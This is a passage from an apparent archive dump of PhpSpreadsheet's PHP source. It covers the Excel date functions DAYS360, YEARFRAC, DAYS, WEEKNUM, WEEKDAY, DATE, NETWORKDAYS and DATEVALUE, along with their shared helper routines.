$endDate = 0, mixed $method = false): array|string|int { if (is_array($startDate) || is_array($endDate) || is_array($method)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $startDate, $endDate, $method); } try { $startDate = Helpers::getDateValue($startDate); $endDate = Helpers::getDateValue($endDate); } catch (Exception $e) { return $e->getMessage(); } if (!is_bool($method)) { return ExcelError::VALUE(); } // Execute function $PHPStartDateObject = SharedDateHelper::excelToDateTimeObject($startDate); $startDay = $PHPStartDateObject->format('j'); $startMonth = $PHPStartDateObject->format('n'); $startYear = $PHPStartDateObject->format('Y'); $PHPEndDateObject = SharedDateHelper::excelToDateTimeObject($endDate); $endDay = $PHPEndDateObject->format('j'); $endMonth = $PHPEndDateObject->format('n'); $endYear = $PHPEndDateObject->format('Y'); return self::dateDiff360((int) $startDay, (int) $startMonth, (int) $startYear, (int) $endDay, (int) $endMonth, (int) $endYear, !$method); } /** * Return the number of days between two dates based on a 360 day calendar. */ private static function dateDiff360(int $startDay, int $startMonth, int $startYear, int $endDay, int $endMonth, int $endYear, bool $methodUS): int { $startDay = self::getStartDay($startDay, $startMonth, $startYear, $methodUS); $endDay = self::getEndDay($endDay, $endMonth, $endYear, $startDay, $methodUS); return $endDay + $endMonth * 30 + $endYear * 360 - $startDay - $startMonth * 30 - $startYear * 360; } private static function getStartDay(int $startDay, int $startMonth, int $startYear, bool $methodUS): int { if ($startDay == 31) { --$startDay; } elseif ($methodUS && ($startMonth == 2 && ($startDay == 29 || ($startDay == 28 && !Helpers::isLeapYear($startYear))))) { $startDay = 30; } return $startDay; } private static function getEndDay(int $endDay, int &$endMonth, int &$endYear, int $startDay, bool $methodUS): int { if ($endDay == 31) { if ($methodUS && $startDay != 30) { $endDay = 1; if ($endMonth == 12) { ++$endYear; $endMonth = 1; } else { ++$endMonth; } } else { $endDay = 30; } } return $endDay; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/YearFrac.php000064400000013133151676714400024370 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class YearFrac { use ArrayEnabled; /** * YEARFRAC. * * Calculates the fraction of the year represented by the number of whole days between two dates * (the start_date and the end_date). * Use the YEARFRAC worksheet function to identify the proportion of a whole year's benefits or * obligations to assign to a specific term. * * Excel Function: * YEARFRAC(startDate,endDate[,method]) * See https://lists.oasis-open.org/archives/office-formula/200806/msg00039.html * for description of algorithm used in Excel * * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of values * @param mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of methods * @param array|int $method Method used for the calculation * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * Or can be an array of methods * * @return array|float|int|string fraction of the year, or a string containing an error * If an array of values is passed for the $startDate or $endDays,arguments, then the returned result * will also be an array with matching dimensions */ public static function fraction(mixed $startDate, mixed $endDate, array|int|string|null $method = 0): array|string|int|float { if (is_array($startDate) || is_array($endDate) || is_array($method)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $startDate, $endDate, $method); } try { $method = (int) Helpers::validateNumericNull($method); $sDate = Helpers::getDateValue($startDate); $eDate = Helpers::getDateValue($endDate); $sDate = self::excelBug($sDate, $startDate, $endDate, $method); $eDate = self::excelBug($eDate, $endDate, $startDate, $method); $startDate = min($sDate, $eDate); $endDate = max($sDate, $eDate); } catch (Exception $e) { return $e->getMessage(); } return match ($method) { 0 => Functions::scalar(Days360::between($startDate, $endDate)) / 360, 1 => self::method1($startDate, $endDate), 2 => Functions::scalar(Difference::interval($startDate, $endDate)) / 360, 3 => Functions::scalar(Difference::interval($startDate, $endDate)) / 365, 4 => Functions::scalar(Days360::between($startDate, $endDate, true)) / 360, default => ExcelError::NAN(), }; } /** * Excel 1900 calendar treats date argument of null as 1900-01-00. Really. */ private static function excelBug(float $sDate, mixed $startDate, mixed $endDate, int $method): float { if (Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE && SharedDateHelper::getExcelCalendar() !== SharedDateHelper::CALENDAR_MAC_1904) { if ($endDate === null && $startDate !== null) { if (DateParts::month($sDate) == 12 && DateParts::day($sDate) === 31 && $method === 0) { $sDate += 2; } else { ++$sDate; } } } return $sDate; } private static function method1(float $startDate, float $endDate): float { $days = Functions::scalar(Difference::interval($startDate, $endDate)); $startYear = (int) DateParts::year($startDate); $endYear = (int) DateParts::year($endDate); $years = $endYear - $startYear + 1; $startMonth = (int) DateParts::month($startDate); $startDay = (int) DateParts::day($startDate); $endMonth = (int) DateParts::month($endDate); $endDay = (int) DateParts::day($endDate); $startMonthDay = 100 * $startMonth + $startDay; $endMonthDay = 100 * $endMonth + $endDay; if ($years == 1) { $tmpCalcAnnualBasis = 365 + (int) Helpers::isLeapYear($endYear); } elseif ($years == 2 && $startMonthDay >= $endMonthDay) { if (Helpers::isLeapYear($startYear)) { $tmpCalcAnnualBasis = 365 + (int) ($startMonthDay <= 229); } elseif (Helpers::isLeapYear($endYear)) { $tmpCalcAnnualBasis = 365 + (int) ($endMonthDay >= 229); } else { $tmpCalcAnnualBasis = 365; } } else { $tmpCalcAnnualBasis = 0; for ($year = $startYear; $year <= $endYear; ++$year) { $tmpCalcAnnualBasis += 365 + (int) Helpers::isLeapYear($year); } $tmpCalcAnnualBasis /= $years; } return $days / $tmpCalcAnnualBasis; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Days.php000064400000004471151676714400023601 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTimeInterface; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Days { use ArrayEnabled; /** * DAYS. * * Returns the number of days between two dates * * Excel Function: * DAYS(endDate, startDate) * * @param array|DateTimeInterface|float|int|string $endDate Excel date serial value (float), * PHP date timestamp (integer), PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|DateTimeInterface|float|int|string $startDate Excel date serial value (float), * PHP date timestamp (integer), PHP DateTime object, or a standard date string * Or can be an array of date values * * @return array|int|string Number of days between start date and end date or an error * If an array of values is passed for the $startDate or $endDays,arguments, then the returned result * will also be an array with matching dimensions */ public static function between(array|DateTimeInterface|float|int|string $endDate, array|DateTimeInterface|float|int|string $startDate): array|int|string { if (is_array($endDate) || is_array($startDate)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $endDate, $startDate); } try { $startDate = Helpers::getDateValue($startDate); $endDate = Helpers::getDateValue($endDate); } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPStartDateObject = SharedDateHelper::excelToDateTimeObject($startDate); $PHPEndDateObject = SharedDateHelper::excelToDateTimeObject($endDate); $days = ExcelError::VALUE(); $diff = $PHPStartDateObject->diff($PHPEndDateObject); if ($diff !== false && !is_bool($diff->days)) { $days = $diff->days; if ($diff->invert) { $days = -$days; } } return $days; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Week.php000064400000024221151676714400023567 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Week { use ArrayEnabled; /** * WEEKNUM. * * Returns the week of the year for a specified date. * The WEEKNUM function considers the week containing January 1 to be the first week of the year. * However, there is a European standard that defines the first week as the one with the majority * of days (four or more) falling in the new year. This means that for years in which there are * three days or less in the first week of January, the WEEKNUM function returns week numbers * that are incorrect according to the European standard. * * Excel Function: * WEEKNUM(dateValue[,style]) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|int $method Week begins on Sunday or Monday * 1 or omitted Week begins on Sunday. * 2 Week begins on Monday. * 11 Week begins on Monday. * 12 Week begins on Tuesday. * 13 Week begins on Wednesday. * 14 Week begins on Thursday. * 15 Week begins on Friday. * 16 Week begins on Saturday. * 17 Week begins on Sunday. * 21 ISO (Jan. 4 is week 1, begins on Monday). * Or can be an array of methods * * @return array|int|string Week Number * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function number(mixed $dateValue, array|int|string|null $method = Constants::STARTWEEK_SUNDAY): array|int|string { if (is_array($dateValue) || is_array($method)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $dateValue, $method); } $origDateValueNull = empty($dateValue); try { $method = self::validateMethod($method); if ($dateValue === null) { // boolean not allowed $dateValue = (SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_MAC_1904 || $method === Constants::DOW_SUNDAY) ? 0 : 1; } $dateValue = self::validateDateValue($dateValue); if (!$dateValue && self::buggyWeekNum1900($method)) { // This seems to be an additional Excel bug. return 0; } } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); if ($method == Constants::STARTWEEK_MONDAY_ISO) { Helpers::silly1900($PHPDateObject); return (int) $PHPDateObject->format('W'); } if (self::buggyWeekNum1904($method, $origDateValueNull, $PHPDateObject)) { return 0; } Helpers::silly1900($PHPDateObject, '+ 5 years'); // 1905 calendar matches $dayOfYear = (int) $PHPDateObject->format('z'); $PHPDateObject->modify('-' . $dayOfYear . ' days'); $firstDayOfFirstWeek = (int) $PHPDateObject->format('w'); $daysInFirstWeek = (6 - $firstDayOfFirstWeek + $method) % 7; $daysInFirstWeek += 7 * !$daysInFirstWeek; $endFirstWeek = $daysInFirstWeek - 1; $weekOfYear = floor(($dayOfYear - $endFirstWeek + 13) / 7); return (int) $weekOfYear; } /** * ISOWEEKNUM. * * Returns the ISO 8601 week number of the year for a specified date. * * Excel Function: * ISOWEEKNUM(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * * @return array|int|string Week Number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function isoWeekNumber(mixed $dateValue): array|int|string { if (is_array($dateValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $dateValue); } if (self::apparentBug($dateValue)) { return 52; } try { $dateValue = Helpers::getDateValue($dateValue); } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); Helpers::silly1900($PHPDateObject); return (int) $PHPDateObject->format('W'); } /** * WEEKDAY. * * Returns the day of the week for a specified date. The day is given as an integer * ranging from 0 to 7 (dependent on the requested style). * * Excel Function: * WEEKDAY(dateValue[,style]) * * @param null|array|bool|float|int|string $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param mixed $style A number that determines the type of return value * 1 or omitted Numbers 1 (Sunday) through 7 (Saturday). * 2 Numbers 1 (Monday) through 7 (Sunday). * 3 Numbers 0 (Monday) through 6 (Sunday). * Or can be an array of styles * * @return array|int|string Day of the week value * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function day(null|array|float|int|string|bool $dateValue, mixed $style = 1): array|string|int { if (is_array($dateValue) || is_array($style)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $dateValue, $style); } try { $dateValue = Helpers::getDateValue($dateValue); $style = self::validateStyle($style); } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); Helpers::silly1900($PHPDateObject); $DoW = (int) $PHPDateObject->format('w'); switch ($style) { case 1: ++$DoW; break; case 2: $DoW = self::dow0Becomes7($DoW); break; case 3: $DoW = self::dow0Becomes7($DoW) - 1; break; } return $DoW; } /** * @param mixed $style expect int */ private static function validateStyle(mixed $style): int { if (!is_numeric($style)) { throw new Exception(ExcelError::VALUE()); } $style = (int) $style; if (($style < 1) || ($style > 3)) { throw new Exception(ExcelError::NAN()); } return $style; } private static function dow0Becomes7(int $DoW): int { return ($DoW === 0) ? 7 : $DoW; } /** * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string */ private static function apparentBug(mixed $dateValue): bool { if (SharedDateHelper::getExcelCalendar() !== SharedDateHelper::CALENDAR_MAC_1904) { if (is_bool($dateValue)) { return true; } if (is_numeric($dateValue) && !((int) $dateValue)) { return true; } } return false; } /** * Validate dateValue parameter. */ private static function validateDateValue(mixed $dateValue): float { if (is_bool($dateValue)) { throw new Exception(ExcelError::VALUE()); } return Helpers::getDateValue($dateValue); } /** * Validate method parameter. */ private static function validateMethod(mixed $method): int { if ($method === null) { $method = Constants::STARTWEEK_SUNDAY; } if (!is_numeric($method)) { throw new Exception(ExcelError::VALUE()); } $method = (int) $method; if (!array_key_exists($method, Constants::METHODARR)) { throw new Exception(ExcelError::NAN()); } $method = Constants::METHODARR[$method]; return $method; } private static function buggyWeekNum1900(int $method): bool { return $method === Constants::DOW_SUNDAY && SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_WINDOWS_1900; } private static function buggyWeekNum1904(int $method, bool $origNull, DateTime $dateObject): bool { // This appears to be another Excel bug. return $method === Constants::DOW_SUNDAY && SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_MAC_1904 && !$origNull && $dateObject->format('Y-m-d') === '1904-01-01'; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Date.php000064400000016466151676714400023565 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Date { use ArrayEnabled; /** * DATE. * * The DATE function returns a value that represents a particular date. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * DATE(year,month,day) * * PhpSpreadsheet is a lot more forgiving than MS Excel when passing non numeric values to this function. * A Month name or abbreviation (English only at this point) such as 'January' or 'Jan' will still be accepted, * as will a day value with a suffix (e.g. '21st' rather than simply 21); again only English language. * * @param array|float|int|string $year The value of the year argument can include one to four digits. * Excel interprets the year argument according to the configured * date system: 1900 or 1904. * If year is between 0 (zero) and 1899 (inclusive), Excel adds that * value to 1900 to calculate the year. For example, DATE(108,1,2) * returns January 2, 2008 (1900+108). * If year is between 1900 and 9999 (inclusive), Excel uses that * value as the year. For example, DATE(2008,1,2) returns January 2, * 2008. * If year is less than 0 or is 10000 or greater, Excel returns the * #NUM! error value. * @param array|float|int|string $month A positive or negative integer representing the month of the year * from 1 to 12 (January to December). * If month is greater than 12, month adds that number of months to * the first month in the year specified. For example, DATE(2008,14,2) * returns the serial number representing February 2, 2009. * If month is less than 1, month subtracts the magnitude of that * number of months, plus 1, from the first month in the year * specified. For example, DATE(2008,-3,2) returns the serial number * representing September 2, 2007. * @param array|float|int|string $day A positive or negative integer representing the day of the month * from 1 to 31. * If day is greater than the number of days in the month specified, * day adds that number of days to the first day in the month. For * example, DATE(2008,1,35) returns the serial number representing * February 4, 2008. * If day is less than 1, day subtracts the magnitude that number of * days, plus one, from the first day of the month specified. For * example, DATE(2008,1,-15) returns the serial number representing * December 16, 2007. * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function fromYMD(array|float|int|string $year, array|float|int|string $month, array|float|int|string $day): float|int|DateTime|string|array { if (is_array($year) || is_array($month) || is_array($day)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $year, $month, $day); } $baseYear = SharedDateHelper::getExcelCalendar(); try { $year = self::getYear($year, $baseYear); $month = self::getMonth($month); $day = self::getDay($day); self::adjustYearMonth($year, $month, $baseYear); } catch (Exception $e) { return $e->getMessage(); } // Execute function $excelDateValue = SharedDateHelper::formattedPHPToExcel($year, $month, $day); return Helpers::returnIn3FormatsFloat($excelDateValue); } /** * Convert year from multiple formats to int. */ private static function getYear(mixed $year, int $baseYear): int { $year = ($year !== null) ? StringHelper::testStringAsNumeric((string) $year) : 0; if (!is_numeric($year)) { throw new Exception(ExcelError::VALUE()); } $year = (int) $year; if ($year < ($baseYear - 1900)) { throw new Exception(ExcelError::NAN()); } if ((($baseYear - 1900) !== 0) && ($year < $baseYear) && ($year >= 1900)) { throw new Exception(ExcelError::NAN()); } if (($year < $baseYear) && ($year >= ($baseYear - 1900))) { $year += 1900; } return (int) $year; } /** * Convert month from multiple formats to int. */ private static function getMonth(mixed $month): int { if (($month !== null) && (!is_numeric($month))) { $month = SharedDateHelper::monthStringToNumber($month); } $month = ($month !== null) ? StringHelper::testStringAsNumeric((string) $month) : 0; if (!is_numeric($month)) { throw new Exception(ExcelError::VALUE()); } return (int) $month; } /** * Convert day from multiple formats to int. */ private static function getDay(mixed $day): int { if (($day !== null) && (!is_numeric($day))) { $day = SharedDateHelper::dayStringToNumber($day); } $day = ($day !== null) ? StringHelper::testStringAsNumeric((string) $day) : 0; if (!is_numeric($day)) { throw new Exception(ExcelError::VALUE()); } return (int) $day; } private static function adjustYearMonth(int &$year, int &$month, int $baseYear): void { if ($month < 1) { // Handle year/month adjustment if month < 1 --$month; $year += ceil($month / 12) - 1; $month = 13 - abs($month % 12); } elseif ($month > 12) { // Handle year/month adjustment if month > 12 $year += floor($month / 12); $month = ($month % 12); } // Re-validate the year parameter after adjustments if (($year < $baseYear) || ($year >= 10000)) { throw new Exception(ExcelError::NAN()); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Helpers.php000064400000021611151676714400024276 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Helpers { /** * Identify if a year is a leap year or not. * * @param int|string $year The year to test * * @return bool TRUE if the year is a leap year, otherwise FALSE */ public static function isLeapYear(int|string $year): bool { return (($year % 4) === 0) && (($year % 100) !== 0) || (($year % 400) === 0); } /** * getDateValue. * * @return float Excel date/time serial value */ public static function getDateValue(mixed $dateValue, bool $allowBool = true): float { if (is_object($dateValue)) { $retval = SharedDateHelper::PHPToExcel($dateValue); if (is_bool($retval)) { throw new Exception(ExcelError::VALUE()); } return $retval; } self::nullFalseTrueToNumber($dateValue, $allowBool); if (!is_numeric($dateValue)) { $saveReturnDateType = Functions::getReturnDateType(); Functions::setReturnDateType(Functions::RETURNDATE_EXCEL); $dateValue = DateValue::fromString($dateValue); Functions::setReturnDateType($saveReturnDateType); if (!is_numeric($dateValue)) { throw new Exception(ExcelError::VALUE()); } } if ($dateValue < 0 && Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_OPENOFFICE) { throw new Exception(ExcelError::NAN()); } return (float) $dateValue; } /** * getTimeValue. * * @return float|string Excel date/time serial value, or string if error */ public static function getTimeValue(string $timeValue): string|float { $saveReturnDateType = Functions::getReturnDateType(); Functions::setReturnDateType(Functions::RETURNDATE_EXCEL); /** @var float|string $timeValue */ $timeValue = TimeValue::fromString($timeValue); Functions::setReturnDateType($saveReturnDateType); return $timeValue; } /** * Adjust date by given months. */ public static function adjustDateByMonths(mixed $dateValue = 0, float $adjustmentMonths = 0): DateTime { // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); $oMonth = (int) $PHPDateObject->format('m'); $oYear = (int) $PHPDateObject->format('Y'); $adjustmentMonthsString = (string) $adjustmentMonths; if ($adjustmentMonths > 0) { $adjustmentMonthsString = '+' . $adjustmentMonths; } if ($adjustmentMonths != 0) { $PHPDateObject->modify($adjustmentMonthsString . ' months'); } $nMonth = (int) $PHPDateObject->format('m'); $nYear = (int) $PHPDateObject->format('Y'); $monthDiff = ($nMonth - $oMonth) + (($nYear - $oYear) * 12); if ($monthDiff != $adjustmentMonths) { $adjustDays = (int) $PHPDateObject->format('d'); $adjustDaysString = '-' . $adjustDays . ' days'; $PHPDateObject->modify($adjustDaysString); } return $PHPDateObject; } /** * Help reduce perceived complexity of some tests. */ public static function replaceIfEmpty(mixed &$value, mixed $altValue): void { $value = $value ?: $altValue; } /** * Adjust year in ambiguous situations. */ public static function adjustYear(string $testVal1, string $testVal2, string &$testVal3): void { if (!is_numeric($testVal1) || $testVal1 < 31) { if (!is_numeric($testVal2) || $testVal2 < 12) { if (is_numeric($testVal3) && $testVal3 < 12) { $testVal3 += 2000; } } } } /** * Return result in one of three formats. */ public static function returnIn3FormatsArray(array $dateArray, bool $noFrac = false): DateTime|float|int { $retType = Functions::getReturnDateType(); if ($retType === Functions::RETURNDATE_PHP_DATETIME_OBJECT) { return new DateTime( $dateArray['year'] . '-' . $dateArray['month'] . '-' . $dateArray['day'] . ' ' . $dateArray['hour'] . ':' . $dateArray['minute'] . ':' . $dateArray['second'] ); } $excelDateValue = SharedDateHelper::formattedPHPToExcel( $dateArray['year'], $dateArray['month'], $dateArray['day'], $dateArray['hour'], $dateArray['minute'], $dateArray['second'] ); if ($retType === Functions::RETURNDATE_EXCEL) { return $noFrac ? floor($excelDateValue) : $excelDateValue; } // RETURNDATE_UNIX_TIMESTAMP) return SharedDateHelper::excelToTimestamp($excelDateValue); } /** * Return result in one of three formats. */ public static function returnIn3FormatsFloat(float $excelDateValue): float|int|DateTime { $retType = Functions::getReturnDateType(); if ($retType === Functions::RETURNDATE_EXCEL) { return $excelDateValue; } if ($retType === Functions::RETURNDATE_UNIX_TIMESTAMP) { return SharedDateHelper::excelToTimestamp($excelDateValue); } // RETURNDATE_PHP_DATETIME_OBJECT return SharedDateHelper::excelToDateTimeObject($excelDateValue); } /** * Return result in one of three formats. */ public static function returnIn3FormatsObject(DateTime $PHPDateObject): DateTime|float|int { $retType = Functions::getReturnDateType(); if ($retType === Functions::RETURNDATE_PHP_DATETIME_OBJECT) { return $PHPDateObject; } if ($retType === Functions::RETURNDATE_EXCEL) { return (float) SharedDateHelper::PHPToExcel($PHPDateObject); } // RETURNDATE_UNIX_TIMESTAMP $stamp = SharedDateHelper::PHPToExcel($PHPDateObject); $stamp = is_bool($stamp) ? ((int) $stamp) : $stamp; return SharedDateHelper::excelToTimestamp($stamp); } private static function baseDate(): int { if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { return 0; } if (SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_MAC_1904) { return 0; } return 1; } /** * Many functions accept null/false/true argument treated as 0/0/1. */ public static function nullFalseTrueToNumber(mixed &$number, bool $allowBool = true): void { $number = Functions::flattenSingleValue($number); $nullVal = self::baseDate(); if ($number === null) { $number = $nullVal; } elseif ($allowBool && is_bool($number)) { $number = $nullVal + (int) $number; } } /** * Many functions accept null argument treated as 0. */ public static function validateNumericNull(mixed $number): int|float { $number = Functions::flattenSingleValue($number); if ($number === null) { return 0; } if (is_int($number)) { return $number; } if (is_numeric($number)) { return (float) $number; } throw new Exception(ExcelError::VALUE()); } /** * Many functions accept null/false/true argument treated as 0/0/1. * * @phpstan-assert float $number */ public static function validateNotNegative(mixed $number): float { if (!is_numeric($number)) { throw new Exception(ExcelError::VALUE()); } if ($number >= 0) { return (float) $number; } throw new Exception(ExcelError::NAN()); } public static function silly1900(DateTime $PHPDateObject, string $mod = '-1 day'): void { $isoDate = $PHPDateObject->format('c'); if ($isoDate < '1900-03-01') { $PHPDateObject->modify($mod); } } public static function dateParse(string $string): array { return self::forceArray(date_parse($string)); } public static function dateParseSucceeded(array $dateArray): bool { return $dateArray['error_count'] === 0; } /** * Despite documentation, date_parse probably never returns false. * Just in case, this routine helps guarantee it. * * @param array|false $dateArray */ private static function forceArray(array|bool $dateArray): array { return is_array($dateArray) ? $dateArray : ['error_count' => 1]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/NetworkDays.php000064400000010345151676714400025150 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class NetworkDays { use ArrayEnabled; /** * NETWORKDAYS. * * Returns the number of whole working days between start_date and end_date. Working days * exclude weekends and any dates identified in holidays. * Use NETWORKDAYS to calculate employee benefits that accrue based on the number of days * worked during a specific term. * * Excel Function: * NETWORKDAYS(startDate,endDate[,holidays[,holiday[,...]]]) * * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param mixed $dateArgs An array of dates (such as holidays) to exclude from the calculation * * @return array|int|string Interval between the dates * If an array of values is passed for the $startDate or $endDate arguments, then the returned result * will also be an array with matching dimensions */ public static function count(mixed $startDate, mixed $endDate, mixed ...$dateArgs): array|string|int { if (is_array($startDate) || is_array($endDate)) { return self::evaluateArrayArgumentsSubset( [self::class, __FUNCTION__], 2, $startDate, $endDate, ...$dateArgs ); } try { // Retrieve the mandatory start and end date that are referenced in the function definition $sDate = Helpers::getDateValue($startDate); $eDate = Helpers::getDateValue($endDate); $startDate = min($sDate, $eDate); $endDate = max($sDate, $eDate); // Get the optional days $dateArgs = Functions::flattenArray($dateArgs); // Test any extra holiday parameters $holidayArray = []; foreach ($dateArgs as $holidayDate) { $holidayArray[] = Helpers::getDateValue($holidayDate); } } catch (Exception $e) { return $e->getMessage(); } // Execute function $startDow = self::calcStartDow($startDate); $endDow = self::calcEndDow($endDate); $wholeWeekDays = (int) floor(($endDate - $startDate) / 7) * 5; $partWeekDays = self::calcPartWeekDays($startDow, $endDow); // Test any extra holiday parameters $holidayCountedArray = []; foreach ($holidayArray as $holidayDate) { if (($holidayDate >= $startDate) && ($holidayDate <= $endDate)) { if ((Week::day($holidayDate, 2) < 6) && (!in_array($holidayDate, $holidayCountedArray))) { --$partWeekDays; $holidayCountedArray[] = $holidayDate; } } } return self::applySign($wholeWeekDays + $partWeekDays, $sDate, $eDate); } private static function calcStartDow(float $startDate): int { $startDow = 6 - (int) Week::day($startDate, 2); if ($startDow < 0) { $startDow = 5; } return $startDow; } private static function calcEndDow(float $endDate): int { $endDow = (int) Week::day($endDate, 2); if ($endDow >= 6) { $endDow = 0; } return $endDow; } private static function calcPartWeekDays(int $startDow, int $endDow): int { $partWeekDays = $endDow + $startDow; if ($partWeekDays > 5) { $partWeekDays -= 5; } return $partWeekDays; } private static function applySign(int $result, float $sDate, float $eDate): int { return ($sDate > $eDate) ? -$result : $result; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/DateValue.php000064400000015532151676714400024553 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use DateTimeImmutable; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class DateValue { use ArrayEnabled; /** * DATEVALUE. * * Returns a value that represents a particular date. * Use DATEVALUE to convert a date represented by a text string to an Excel or PHP date/time stamp * value. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * DATEVALUE(dateValue) * * @param null|array|bool|float|int|string $dateValue Text that represents a date in a Microsoft Excel date format. * For example, "1/30/2008" or "30-Jan-2008" are text strings within * quotation marks that represent dates. Using the default date * system in Excel for Windows, date_text must represent a date from * January 1, 1900, to December 31, 9999. Using the default date * system in Excel for the Macintosh, date_text must represent a date * from January 1, 1904, to December 31, 9999. DATEVALUE returns the * #VALUE! error value if date_text is out of this range. * Or can be an array of date values * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function fromString(null|array|string|int|bool|float $dateValue): array|string|float|int|DateTime { if (is_array($dateValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $dateValue); } // try to parse as date iff there is at least one digit if (is_string($dateValue) && preg_match('/\\d/', $dateValue) !== 1) { return ExcelError::VALUE(); } $dti = new DateTimeImmutable(); $baseYear = SharedDateHelper::getExcelCalendar(); $dateValue = trim((string) $dateValue, '"'); // Strip any ordinals because they're allowed in Excel (English only) $dateValue = (string) preg_replace('/(\d)(st|nd|rd|th)([ -\/])/Ui', '$1$3', $dateValue); // Convert separators (/ . or space) to hyphens (should also handle dot used for ordinals in some countries, e.g. 